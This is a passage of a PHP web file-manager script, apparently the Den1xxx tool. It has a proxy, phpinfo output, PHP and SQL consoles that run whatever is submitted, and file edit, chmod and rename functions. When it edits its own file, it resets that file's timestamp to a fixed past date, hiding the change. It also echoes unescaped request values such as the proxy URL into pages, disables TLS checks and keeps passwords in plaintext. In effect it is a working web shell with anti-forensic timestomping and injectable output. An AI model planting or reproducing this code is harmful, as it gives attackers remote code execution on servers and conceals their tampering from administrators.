			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
